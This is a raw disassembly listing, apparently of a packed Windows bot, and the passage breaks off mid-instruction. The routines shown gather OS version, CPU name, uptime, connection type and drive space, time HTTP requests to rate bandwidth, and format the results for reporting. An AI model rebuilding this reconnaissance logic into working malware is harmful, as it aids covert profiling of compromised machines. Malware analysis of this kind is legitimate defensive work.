loc_406144: ; CODE XREF: sub_405FF3+148j cmp [ebp+var_FC], 1 jnz short loc_406154 mov edi, offset aXp ; "XP" jmp short loc_406162 ; --------------------------------------------------------------------------- loc_406154: ; CODE XREF: sub_405FF3+158j cmp [ebp+var_FC], 2 jnz short loc_406162 mov edi, offset a2003 ; "2003" loc_406162: ; CODE XREF: sub_405FF3+126j ; sub_405FF3+12Fj ... cmp [ebp+var_F4], 2 jnz short loc_40617D loc_40616B: ; CODE XREF: sub_405FF3+116j cmp [ebp+var_F0], 0 jz short loc_40617D lea eax, [ebp+var_F0] mov [ebp+var_1C], eax loc_40617D: ; CODE XREF: sub_405FF3+10Fj ; sub_405FF3+176j ... call sub_40338B test eax, eax mov [ebp+var_14], offset aYes ; "Yes" jnz short loc_406194 mov [ebp+var_14], offset aNo ; "No" loc_406194: ; CODE XREF: sub_405FF3+198j and [ebp+var_178], 0 and [ebp+var_105], 0 xor eax, eax cpuid mov [ebp+var_184], ebx mov [ebp+var_180], edx mov [ebp+var_17C], ecx lea eax, [ebp+var_4] xor ebx, ebx push eax push 20019h push ebx push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... push 80000002h mov [ebp+var_4], ebx call dword_412000 ; RegOpenKeyExA test eax, eax jnz short loc_406223 lea eax, [ebp+var_28] mov [ebp+var_20], ebx push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_20] push eax push ebx push offset aProcessornames ; "ProcessorNameString" mov [ebp+var_28], 80h push [ebp+var_4] call dword_41200C ; RegQueryValueExA test eax, eax jnz short loc_40621A push 1 lea eax, [ebp+var_184] push 1 push eax call sub_405AD6 add esp, 0Ch loc_40621A: ; CODE XREF: sub_405FF3+212j push [ebp+var_4] call dword_412028 ; RegCloseKey loc_406223: ; CODE XREF: sub_405FF3+1E6j cmp [ebp+arg_0], 1 mov ecx, offset byte_4191D0 mov eax, offset dword_4141FC mov ebx, ecx jz short loc_406237 mov ebx, eax loc_406237: ; CODE XREF: sub_405FF3+240j cmp [ebp+var_10], 1 mov edx, ecx jz short loc_406241 mov edx, eax loc_406241: ; CODE XREF: sub_405FF3+24Aj cmp [ebp+var_18], 1 jnz short loc_406249 mov eax, ecx loc_406249: ; CODE XREF: sub_405FF3+252j lea ecx, [ebp+var_50] push ecx lea ecx, [ebp+var_38] push ecx push ebx push [ebp+arg_0] push edx push [ebp+var_10] push eax push [ebp+var_18] push [ebp+var_14] push esi push [ebp+var_24] call sub_405ECC push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_72C] push [ebp+var_F8] push [ebp+var_FC] push [ebp+var_100] push [ebp+var_1C] push edi push offset dword_41410C push 400h push eax call sub_41152E ; _snprintf add esp, 54h lea eax, [ebp+var_72C] push eax lea eax, [ebp+var_328] push offset dword_413B6C push eax call sub_4096CB push [ebp+var_32C] call sub_406E6F add esp, 10h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_405FF3 endp ; =============== S U B R O U T I N E ======================================= sub_4062CF proc near ; CODE XREF: sub_407A76+125Dp arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_406305 push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_40457C pop ecx pop ecx push offset aSysinfoThread ; "Sysinfo thread" push 0 push esi push offset sub_405FF3 call sub_406D58 add esp, 10h loc_406305: ; CODE XREF: sub_4062CF+10j pop esi retn sub_4062CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406307 proc near ; CODE XREF: sub_406373+Ap ; sub_406373+18p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push esi push edi push [ebp+arg_0] lea eax, [ebp+var_20] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_20] push eax call sub_40B5E1 call sub_4114E2 ; clock mov edi, eax push 7D0h push 0 lea eax, [ebp+var_20] push offset a80 ; "80" push eax call sub_403C04 mov esi, eax push esi call sub_403D92 add esp, 20h test esi, esi jnz short loc_406356 mov eax, 3E8h jmp short loc_40636F ; --------------------------------------------------------------------------- loc_406356: ; CODE XREF: sub_406307+46j call sub_4114E2 ; clock mov ecx, eax mov eax, 3E8h sub ecx, edi cmp ecx, eax jnb short loc_40636F call sub_4114E2 ; clock sub eax, edi loc_40636F: ; CODE XREF: sub_406307+4Dj ; sub_406307+5Fj pop edi pop esi leave retn sub_406307 endp ; =============== S U B R O U T I N E ======================================= sub_406373 proc near ; CODE XREF: sub_40656A:loc_4066A5p ; sub_408E1A+15Cp ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi push offset dword_413F68 call sub_406307 mov esi, eax mov [esp+18h+var_18], offset aIQBgEFSsoR ; "©¹ïÕ¡ƒÌ…ØäœééŽË" call sub_406307 mov edi, eax mov [esp+18h+var_18], offset dword_413F8C call sub_406307 mov ebx, eax mov [esp+18h+var_18], offset dword_413F98 call sub_406307 mov ebp, eax mov [esp+18h+var_18], offset dword_413FA8 call sub_406307 mov [esp+18h+var_4], eax mov [esp+18h+var_18], offset dword_413FB8 call sub_406307 add eax, [esp+18h+var_4] pop ecx push 6 xor edx, edx add eax, ebp pop ecx add eax, ebx add eax, edi pop edi add eax, esi pop esi pop ebp pop ebx div ecx pop ecx retn sub_406373 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4063E4 proc near ; CODE XREF: sub_40656A:loc_4066CAp var_414 = byte ptr -414h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = qword ptr -14h var_C = qword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 414h push ebx xor ebx, ebx xor eax, eax cmp off_413FCC, ebx push esi push edi jz short loc_406409 mov ecx, offset off_413FCC loc_406401: ; CODE XREF: sub_4063E4+23j add ecx, 4 inc eax cmp [ecx], ebx jnz short loc_406401 loc_406409: ; CODE XREF: sub_4063E4+16j shr eax, 1 mov [ebp+var_4], ebx lea edi, [eax-1] jmp short loc_406415 ; --------------------------------------------------------------------------- loc_406413: ; CODE XREF: sub_4063E4+A0j xor ebx, ebx loc_406415: ; CODE XREF: sub_4063E4+2Dj push edi push ebx call sub_40B459 mov esi, eax lea eax, [ebp+var_114] shl esi, 3 push off_413FCC[esi] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_114] push eax call sub_40B5E1 push off_413FD0[esi] lea eax, [ebp+var_214] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_214] push eax call sub_40B5E1 push 2710h push ebx lea eax, [ebp+var_114] push offset a80 ; "80" push eax call sub_403C04 mov ebx, eax add esp, 30h test ebx, ebx jnz short loc_40648B inc [ebp+var_4] cmp [ebp+var_4], 3 jb short loc_406413 loc_406486: ; CODE XREF: sub_4063E4+181j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40648B: ; CODE XREF: sub_4063E4+97j lea eax, [ebp+var_114] mov esi, 200h push eax lea eax, [ebp+var_214] push eax push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" lea eax, [ebp+var_414] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_414] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_414] push eax push ebx call sub_403D9D add esp, 24h call sub_4114E2 ; clock and [ebp+var_4], 0 mov dword ptr [ebp+var_14+4], eax mov edi, 1388h loc_4064DE: ; CODE XREF: sub_4063E4+134j ; sub_4063E4+147j push edi lea eax, [ebp+var_414] push esi push eax push ebx call sub_403DF6 add esp, 10h mov dword ptr [ebp+var_C+4], eax test eax, eax jz short loc_40651A cmp eax, 0FFFFFFFFh jz short loc_40651A call sub_4114E2 ; clock sub eax, dword ptr [ebp+var_14+4] cmp eax, edi jnb short loc_40651A mov eax, [ebp+var_4] cmp eax, 100000h jnb short loc_40651A add eax, dword ptr [ebp+var_C+4] mov [ebp+var_4], eax jmp short loc_4064DE ; --------------------------------------------------------------------------- loc_40651A: ; CODE XREF: sub_4063E4+111j ; sub_4063E4+116j ... mov eax, [ebp+var_4] cmp eax, 2000h jnb short loc_40652D push ebx call sub_403D70 pop ecx jmp short loc_4064DE ; --------------------------------------------------------------------------- loc_40652D: ; CODE XREF: sub_4063E4+13Ej and dword ptr [ebp+var_C+4], 0 mov dword ptr [ebp+var_C], eax fild [ebp+var_C] fstp dword ptr [ebp+var_C+4] call sub_4114E2 ; clock sub eax, dword ptr [ebp+var_14+4] and dword ptr [ebp+var_14+4], 0 mov dword ptr [ebp+var_14], eax fild [ebp+var_14] fmul flt_412280 fdivr dword ptr [ebp+var_C+4] call sub_411678 ; _ftol push ebx mov esi, eax call sub_403D70 pop ecx mov eax, esi jmp loc_406486 sub_4063E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40656A proc near ; DATA XREF: sub_40677A+29o var_A80 = qword ptr -0A80h var_A54 = byte ptr -0A54h var_654 = byte ptr -654h var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_A8 = byte ptr -0A8h var_28 = byte ptr -28h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A54h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_250] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free mov esi, offset dword_41A2E8 lea eax, [ebp+var_654] push esi push eax call sub_4114B8 ; _mbscpy add esp, 18h lea eax, [ebp+var_C] xor edi, edi push eax push edi push edi push esi call dword_419224 ; getaddrinfo test eax, eax jnz short loc_4065E2 push 1 push edi push edi lea eax, [ebp+var_654] push 401h push eax mov eax, [ebp+var_C] push dword ptr [eax+10h] push dword ptr [eax+18h] call dword_419228 ; getnameinfo push [ebp+var_C] call dword_41922C ; freeaddrinfo loc_4065E2: ; CODE XREF: sub_40656A+4Ej call sub_406B29 mov ecx, 15180h xor edx, edx mov ebx, ecx mov esi, eax div ebx xor edx, edx push 3Ch mov dword ptr [ebp+var_8+4], eax mov eax, esi div ecx mov ecx, 0E10h mov ebx, ecx mov esi, edx xor edx, edx mov eax, esi div ebx xor edx, edx mov [ebp+var_14], eax mov eax, esi div ecx pop ecx mov esi, offset aUnknown_0 ; "Unknown" push esi mov eax, edx xor edx, edx div ecx mov [ebp+arg_0], eax lea eax, [ebp+var_A8] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_28] push esi push eax call sub_4114B8 ; _mbscpy mov eax, dword_41921C add esp, 10h cmp eax, edi jz short loc_40667D push edi lea ecx, [ebp+var_A8] push 80h push ecx lea ecx, [ebp+var_1C] push ecx call eax ; InternetGetConnectedStateEx test eax, eax jz short loc_40667D test [ebp+var_1C], 1 jz short loc_40666D push offset aModem ; "Modem" jmp short loc_406672 ; --------------------------------------------------------------------------- loc_40666D: ; CODE XREF: sub_40656A+FAj push offset aLan ; "LAN" loc_406672: ; CODE XREF: sub_40656A+101j lea eax, [ebp+var_28] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_40667D: ; CODE XREF: sub_40656A+DDj ; sub_40656A+F4j call sub_4033F9 mov edi, offset aYes ; "Yes" mov esi, offset aNo ; "No" test eax, eax mov [ebp+var_18], edi jnz short loc_406696 mov [ebp+var_18], esi loc_406696: ; CODE XREF: sub_40656A+127j call sub_4032D2 test eax, eax mov [ebp+var_10], edi jnz short loc_4066A5 mov [ebp+var_10], esi loc_4066A5: ; CODE XREF: sub_40656A+136j call sub_406373 cmp eax, 2EEh mov [ebp+var_20], eax mov ebx, offset aBad ; "Bad" jnb short loc_4066BE mov ebx, offset aAvarage ; "Avarage" loc_4066BE: ; CODE XREF: sub_40656A+14Dj cmp eax, 1F4h jnb short loc_4066CA mov ebx, offset aGood ; "Good" loc_4066CA: ; CODE XREF: sub_40656A+159j call sub_4063E4 cmp [ebp+arg_0], 1 mov edx, offset byte_4191D0 mov ecx, offset dword_4141FC mov edi, edx jz short loc_4066E3 mov edi, ecx loc_4066E3: ; CODE XREF: sub_40656A+175j cmp [ebp+var_14], 1 mov esi, edx jz short loc_4066ED mov esi, ecx loc_4066ED: ; CODE XREF: sub_40656A+17Fj cmp dword ptr [ebp+var_8+4], 1 jnz short loc_4066F5 mov ecx, edx loc_4066F5: ; CODE XREF: sub_40656A+187j push edi mov dword ptr [ebp+var_8], eax push [ebp+arg_0] lea eax, [ebp+var_28] push esi push [ebp+var_14] push ecx push dword ptr [ebp+var_8+4] and dword ptr [ebp+var_8+4], 0 fild [ebp+var_8] push ecx push ecx fmul flt_412284 fstp [esp+0A80h+var_A80] push [ebp+var_20] push ebx push [ebp+var_10] push [ebp+var_18] push eax lea eax, [ebp+var_A8] push eax lea eax, [ebp+var_654] push eax push offset dword_41428C lea eax, [ebp+var_A54] push 400h push eax call sub_41152E ; _snprintf add esp, 48h lea eax, [ebp+var_A54] push eax lea eax, [ebp+var_24C] push offset dword_413B6C push eax call sub_4096CB push [ebp+var_250] call sub_406E6F add esp, 10h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40656A endp ; =============== S U B R O U T I N E ======================================= sub_40677A proc near ; CODE XREF: sub_407A76+124Cp arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_4067B0 push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_40457C pop ecx pop ecx push offset aNetinfoThread ; "Netinfo thread" push 0 push esi push offset sub_40656A call sub_406D58 add esp, 10h loc_4067B0: ; CODE XREF: sub_40677A+10j pop esi retn sub_40677A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4067B2 proc near ; CODE XREF: sub_408E1A+141p ; sub_408E1A+213p ... var_1C = byte ptr -1Ch var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch mov eax, dword_4143A0 push esi mov [ebp+var_4], eax xor esi, esi loc_4067C3: ; CODE XREF: sub_4067B2+73j lea eax, [ebp+var_4] push eax call dword_4120D0 ; GetDriveTypeA test eax, eax jz short loc_40681E cmp eax, 1 jz short loc_40681E cmp eax, 5 jz short loc_4067F8 cmp eax, 2 jz short loc_4067F8 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_4] push eax call dword_4120CC ; GetDiskFreeSpaceExA jmp short loc_406808 ; --------------------------------------------------------------------------- loc_4067F8: ; CODE XREF: sub_4067B2+27j ; sub_4067B2+2Cj push 8 lea eax, [ebp+var_C] push 0 push eax call sub_4114E8 ; memset add esp, 0Ch loc_406808: ; CODE XREF: sub_4067B2+44j mov eax, [ebp+var_C] mov edx, [ebp+var_8] push 14h pop ecx call sub_411680 mov [ebp+var_C], eax mov [ebp+var_8], edx add esi, eax loc_40681E: ; CODE XREF: sub_4067B2+1Dj ; sub_4067B2+22j inc byte ptr [ebp+var_4] cmp byte ptr [ebp+var_4], 5Ah jnz short loc_4067C3 mov eax, esi pop esi leave retn sub_4067B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40682C proc near ; DATA XREF: sub_406A08+29o var_5C8 = dword ptr -5C8h var_5C4 = byte ptr -5C4h var_420 = byte ptr -420h var_40B = byte ptr -40Bh var_20 = byte ptr -20h var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5C8h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5C8] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h mov esi, offset aDriveInformati ; "Drive information - " lea edi, [ebp+var_420] xor eax, eax push 5 xor ebx, ebx pop ecx mov [ebp+arg_0], ebx rep movsd movsb mov ecx, 0FAh lea edi, [ebp+var_40B] rep stosd mov esi, dword_4121EC mov [ebp+var_10], 1 stosw stosb mov eax, dword_4143A0 mov [ebp+var_4], eax loc_406894: ; CODE XREF: sub_40682C+172j lea eax, [ebp+var_4] push eax call dword_4120D0 ; GetDriveTypeA test eax, eax jz loc_406997 cmp eax, 1 jz loc_406997 cmp eax, 2 jnz short loc_4068F8 mov edi, offset aRemovable ; "removable" loc_4068B9: ; CODE XREF: sub_40682C+EEj push 8 lea eax, [ebp+var_C] push 0 push eax call sub_4114E8 ; memset add esp, 0Ch loc_4068C9: ; CODE XREF: sub_40682C+115j mov eax, [ebp+var_C] mov edx, [ebp+var_8] push 14h pop ecx call sub_411680 cmp [ebp+var_10], 0 mov [ebp+var_C], eax mov [ebp+var_8], edx jnz short loc_406943 lea eax, [ebp+var_420] push offset a_ ; ". " push eax call sub_4114EE ; _mbscat pop ecx pop ecx jmp short loc_406947 ; --------------------------------------------------------------------------- loc_4068F8: ; CODE XREF: sub_40682C+86j cmp eax, 3 jnz short loc_406904 mov edi, offset aFixed ; "fixed" jmp short loc_40692B ; --------------------------------------------------------------------------- loc_406904: ; CODE XREF: sub_40682C+CFj cmp eax, 4 jnz short loc_406910 mov edi, offset aRemote ; "remote" jmp short loc_40692B ; --------------------------------------------------------------------------- loc_406910: ; CODE XREF: sub_40682C+DBj cmp eax, 5 jnz short loc_40691C mov edi, offset aCdRom ; "cd-rom" jmp short loc_4068B9 ; --------------------------------------------------------------------------- loc_40691C: ; CODE XREF: sub_40682C+E7j cmp eax, 6 mov edi, offset aRamdisk ; "ramdisk" jz short loc_40692B mov edi, offset aUnknown ; "unknown" loc_40692B: ; CODE XREF: sub_40682C+D6j ; sub_40682C+E2j ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_4] push eax call dword_4120CC ; GetDiskFreeSpaceExA jmp short loc_4068C9 ; --------------------------------------------------------------------------- loc_406943: ; CODE XREF: sub_40682C+B5j and [ebp+var_10], 0 loc_406947: ; CODE XREF: sub_40682C+CAj mov eax, [ebp+var_C] or eax, [ebp+var_8] jz short loc_406974 push [ebp+var_8] lea eax, [ebp+var_4] push [ebp+var_C] push edi push eax lea eax, [ebp+var_420] push eax lea eax, [ebp+var_420] push offset dword_4143EC push eax call esi ; wsprintfA add esp, 1Ch jmp short loc_406991 ; --------------------------------------------------------------------------- loc_406974: ; CODE XREF: sub_40682C+121j lea eax, [ebp+var_4] push edi push eax lea eax, [ebp+var_420] push eax lea eax, [ebp+var_420] push offset dword_4143DC push eax call esi ; wsprintfA add esp, 14h loc_406991: ; CODE XREF: sub_40682C+146j add ebx, [ebp+var_C] inc [ebp+arg_0] loc_406997: ; CODE XREF: sub_40682C+74j ; sub_40682C+7Dj inc byte ptr [ebp+var_4] cmp byte ptr [ebp+var_4], 5Ah jnz loc_406894 cmp [ebp+arg_0], 0 jz short loc_4069BD lea eax, [ebp+var_420] push offset a_ ; ". " push eax call sub_4114EE ; _mbscat pop ecx pop ecx loc_4069BD: ; CODE XREF: sub_40682C+17Cj push ebx lea eax, [ebp+var_420] push [ebp+arg_0] push eax lea eax, [ebp+var_420] push offset dword_4143A4 push eax call esi ; wsprintfA add esp, 14h lea eax, [ebp+var_420] push eax lea eax, [ebp+var_5C4] push offset dword_413B6C push eax call sub_4096CB push [ebp+var_5C8] call sub_406E6F add esp, 10h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40682C endp ; =============== S U B R O U T I N E ======================================= sub_406A08 proc near ; CODE XREF: sub_407A76+10ACp arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_406A3E push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_40457C pop ecx pop ecx push offset aDriveinfoThrea ; "Driveinfo thread" push 0 push esi push offset sub_40682C call sub_406D58 add esp, 10h loc_406A3E: ; CODE XREF: sub_406A08+10j pop esi retn sub_406A08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A40 proc near ; CODE XREF: kkrunchy:0041139Fp var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_10] push eax call dword_4120DC ; QueryPerformanceCounter lea eax, [ebp+var_8] push eax call dword_4120D8 ; QueryPerformanceFrequency xor eax, eax cmp [ebp+var_C], eax jl short loc_406AA1 jg short loc_406A68 cmp [ebp+var_10], eax jbe short loc_406AA1 loc_406A68: ; CODE XREF: sub_406A40+21j cmp [ebp+var_4], eax jl short loc_406AA1 jg short loc_406A74 cmp [ebp+var_8], eax jbe short loc_406AA1 loc_406A74: ; CODE XREF: sub_406A40+2Dj push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_4116B0 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_4116A0 ; ceil pop ecx pop ecx call sub_411678 ; _ftol jmp short loc_406AB0 ; --------------------------------------------------------------------------- loc_406AA1: ; CODE XREF: sub_406A40+1Fj ; sub_406A40+26j ... call dword_4120D4 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx loc_406AB0: ; CODE XREF: sub_406A40+5Fj mov dword_419670, eax leave retn sub_406A40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AB7 proc near ; CODE XREF: sub_405FF3+4Fp ; sub_407A76:loc_408BBDp ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_10] push eax call dword_4120DC ; QueryPerformanceCounter lea eax, [ebp+var_8] push eax call dword_4120D8 ; QueryPerformanceFrequency xor eax, eax cmp [ebp+var_C], eax jl short loc_406B18 jg short loc_406ADF cmp [ebp+var_10], eax jbe short loc_406B18 loc_406ADF: ; CODE XREF: sub_406AB7+21j cmp [ebp+var_4], eax jl short loc_406B18 jg short loc_406AEB cmp [ebp+var_8], eax jbe short loc_406B18 loc_406AEB: ; CODE XREF: sub_406AB7+2Dj push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_4116B0 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_4116A0 ; ceil pop ecx pop ecx call sub_411678 ; _ftol leave retn ; --------------------------------------------------------------------------- loc_406B18: ; CODE XREF: sub_406AB7+1Fj ; sub_406AB7+26j ... call dword_4120D4 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx leave retn sub_406AB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B29 proc near ; CODE XREF: sub_40656A:loc_4065E2p ; sub_407A76+1196p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_10] push eax call dword_4120DC ; QueryPerformanceCounter lea eax, [ebp+var_8] push eax call dword_4120D8 ; QueryPerformanceFrequency xor eax, eax cmp [ebp+var_C], eax jl short loc_406B8A jg short loc_406B51 cmp [ebp+var_10], eax jbe short loc_406B8A loc_406B51: ; CODE XREF: sub_406B29+21j cmp [ebp+var_4], eax jl short loc_406B8A jg short loc_406B5D cmp [ebp+var_8], eax jbe short loc_406B8A loc_406B5D: ; CODE XREF: sub_406B29+2Dj push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_4116B0 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_4116A0 ; ceil pop ecx pop ecx call sub_411678 ; _ftol jmp short loc_406B90 ; --------------------------------------------------------------------------- loc_406B8A: ; CODE XREF: sub_406B29+1Fj ; sub_406B29+26j ... call dword_4120D4 ; GetTickCount loc_406B90: ; CODE XREF: sub_406B29+5Fj sub eax, dword_419670 leave retn sub_406B29 endp ; =============== S U B R O U T I N E ======================================= sub_406B98 proc near ; CODE XREF: kkrunchy:004112AAp var_4 = dword ptr -4 and dword_419690, 0 push 1980h call sub_4114C4 ; malloc mov dword_419698, eax mov [esp+4+var_4], offset dword_419678 call sub_4071D2 pop ecx retn sub_406B98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406BBC proc near ; DATA XREF: sub_406C5D+25o var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_412288 push offset sub_41175A mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov esi, [eax] mov [ebp+var_20], esi mov edi, [eax+4] mov [ebp+var_1C], edi push eax call sub_4114CA ; free pop ecx push esi call dword_4120E0 ; IsBadCodePtr test eax, eax jz short loc_406C24 cmp dword_4191D8, 0 jz short loc_406C46 push esi push offset dword_41447C push offset dword_418E50 call sub_409659 add esp, 0Ch jmp short loc_406C46 ; --------------------------------------------------------------------------- loc_406C24: ; CODE XREF: sub_406BBC+48j push edi call esi ; wsprintfA or [ebp+var_4], 0FFFFFFFFh jmp short loc_406C4C ; --------------------------------------------------------------------------- push offset aBtg ; "btg" push offset aThread ; "thread" push [ebp+var_14] call sub_40287C add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] loc_406C46: ; CODE XREF: sub_406BBC+51j ; sub_406BBC+66j or [ebp+var_4], 0FFFFFFFFh xor eax, eax loc_406C4C: ; CODE XREF: sub_406BBC+6Fj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_406BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C5D proc near ; CODE XREF: sub_4056AC+F9p ; sub_40719C+21p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push 8 call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_406CAD mov eax, [ebp+arg_0] mov [esi], eax mov eax, [ebp+arg_4] mov [esi+4], eax lea eax, [ebp+var_4] push eax push 0 push esi push offset sub_406BBC push 20000h push 0 call sub_411760 ; _beginthreadex add esp, 18h test eax, eax jz short loc_406CA6 push eax call dword_4120AC ; CloseHandle push 1 pop eax jmp short loc_406CAF ; --------------------------------------------------------------------------- loc_406CA6: ; CODE XREF: sub_406C5D+3Bj push esi call sub_4114CA ; free pop ecx loc_406CAD: ; CODE XREF: sub_406C5D+11j xor eax, eax loc_406CAF: ; CODE XREF: sub_406C5D+47j pop esi leave retn sub_406C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CB2 proc near ; DATA XREF: sub_406D58+C9o var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_412298 push offset sub_41175A mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi push edi mov [ebp+var_18], esp mov al, byte_4191D0 mov [ebp+var_19C], al push 60h pop ecx xor eax, eax lea edi, [ebp+var_19B] rep stosd stosw stosb and [ebp+var_4], 0 mov esi, [ebp+arg_0] mov eax, [esi] mov ecx, [eax+10h] mov [ebp+var_1A0], ecx add eax, 14h push eax lea eax, [ebp+var_19C] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx mov eax, [esi] push esi call dword ptr [eax+10h] or [ebp+var_4], 0FFFFFFFFh jmp short loc_406D47 ; --------------------------------------------------------------------------- lea eax, [ebp+var_19C] push eax push offset aThread ; "thread" push [ebp+var_14] call sub_40287C add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh xor eax, eax loc_406D47: ; CODE XREF: sub_406CB2+72j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_406CB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D58 proc near ; CODE XREF: sub_4014B0+79p ; sub_4018D5+78p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ecx push ebx push esi push edi push offset dword_419678 call sub_407200 cmp dword_419690, 10h pop ecx jnz short loc_406D83 push [ebp+arg_4] call sub_4114CA ; free pop ecx xor ebx, ebx jmp loc_406E5D ; --------------------------------------------------------------------------- loc_406D83: ; CODE XREF: sub_406D58+19j mov ecx, dword_419698 xor ebx, ebx cmp [ebp+arg_8], ebx mov edi, 198h jz short loc_406DA9 xor edx, edx lea eax, [ecx+10h] loc_406D9A: ; CODE XREF: sub_406D58+4Fj mov esi, [ebp+arg_0] cmp [eax], esi jz short loc_406DBD inc edx add eax, edi cmp edx, 10h jl short loc_406D9A loc_406DA9: ; CODE XREF: sub_406D58+3Bj mov 